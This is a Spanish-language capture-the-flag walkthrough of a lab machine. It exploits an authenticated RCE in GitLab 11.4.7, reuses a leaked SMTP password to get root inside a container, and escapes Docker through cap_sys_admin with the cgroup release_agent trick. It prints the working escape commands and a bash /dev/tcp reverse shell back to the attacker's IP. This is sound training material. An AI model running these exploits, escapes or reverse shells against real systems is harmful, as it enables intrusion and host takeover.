Ready


En esta máquina, explotamos una vulnerabilidad CVE en GitLab que nos permite ejecutar comandos. Para la escalada de privilegios, logramos escapar de un contenedor Docker que tiene la capability cap_sys_admin

June 7, 20246 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

ping -c 1 10.10.10.220
PING 10.10.10.220 (10.10.11.254) 56(84) bytes of data.
64 bytes from 10.10.11.254: icmp_seq=1 ttl=63 time=38.4 ms

--- 10.10.10.220 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.381/38.381/38.381/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.220 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.220
   5   │     [*] Open ports: 22,5080
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> nmap -p22,5080 -sCV 10.10.10.220 -oN versions

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
|_http-trane-info: Problem with XML parsing of /evox/about
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 5080

Dentro del puerto 5080 hay un gitlab corriendo. Cuando entramos, nos deja crear una cuenta, así que creamos una cuenta y entramos con ella.

Una vez estamos autentificados si vamos al /help aparece la versión del gitlab: 11.4.7

Con searchsploit identificamos que es una versión vulnerable a un RCE

searchsploit gitlab 11.4.7
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2)    | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Aut | ruby/webapps/49257.py
GitLab CE/EE < 16.7.2 - Password Reset     | java/remote/51889.txt
------------------------------------------- ---------------------------------

Ninguno de estos exploits me funciono así que vamos a usar otro que encontré por github

git clone https://github.com/dotPY-hax/gitlab_RCE
cd gitlab_RCE

python3 gitlab_rce.py http://10.10.10.220:5080 10.10.14.32

Gitlab Exploit by dotPY [insert fancy ascii art]
registering LonNmLDZ17:5FPfA5fANt - 200
Getting version of http://10.10.10.220:5080 - 200
The Version seems to be 11.4.7! Choose wisely
delete user LonNmLDZ17 - 200
[0] - GitlabRCE1147 - RCE for Version <=11.4.7
[1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more
[2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP
type a number and hit enter to choose exploit: 0
Start a listener on port 42069 and hit enter (nc -vlnp 42069)
registering SrqNdC0XFY:XDdWDl100T - 200
hacking in progress - 200
delete user SrqNdC0XFY - 200

Durante la ejecución nos pide que nos pongamos en escucha por un puerto con nc (nc -nlvp 42069)

Una vez terminado el script, recibimos la reverse shell.

Escalada de privilegios

Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb, pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por último, si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

Después de una búsqueda por el sistema, encontramos una carpeta dentro del /opt llamada backups, la cual llama la atención

git@gitlab:/opt$ ls
backup  gitlab

Dentro de backup, hacemos un cat a todos los archivos y filtramos por información relevante como por ejemplo password

git@gitlab:/opt/backup$ cat * | grep password

        gitlab_rails['initial_root_password']=File.read('/root_pass')
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
#     password: '_the_password_of_the_bind_user'
#     password: '_the_password_of_the_bind_user'
#   '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59......"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####!   redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
#     password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
#     password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil

Entre toda la información reportada, vemos una contraseña: wW59……

La cual nos sirve para el usuario root

git@gitlab:/opt/backup$ su root
Password: 
root@gitlab:/opt/backup# 

Con un ls -l al la raiz, identificamos que estamos dentro de un contenedor docker, ya que hay un .dockerenv

root@gitlab:/opt/backup# ls -la /
total 100
drwxr-xr-x   1 root root 4096 Apr  5  2022 .
drwxr-xr-x   1 root root 4096 Apr  5  2022 ..
-rwxr-xr-x   1 root root    0 Apr  5  2022 .dockerenv

Empezamos enumerando las capabilites del contenedor, con

root@gitlab:/opt/backup# capsh --print

Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Entre todas las capabilities reportadas encontramos la cap_sys_admin

El hecho de que exista esta capability nos permite salir del docker, de la siguiente forma

Nos ponemos en escucha por el puerto 444

nc -nlvp 444

Ejecutamos todo esto en la máquina víctima

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/bash' > /cmd
echo " bash -i >& /dev/tcp/10.10.14.32/444 0>&1> $host_path/output" >> /cmd 
chmod a+x /cmd

bash -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Nos llega la reverse shell!!!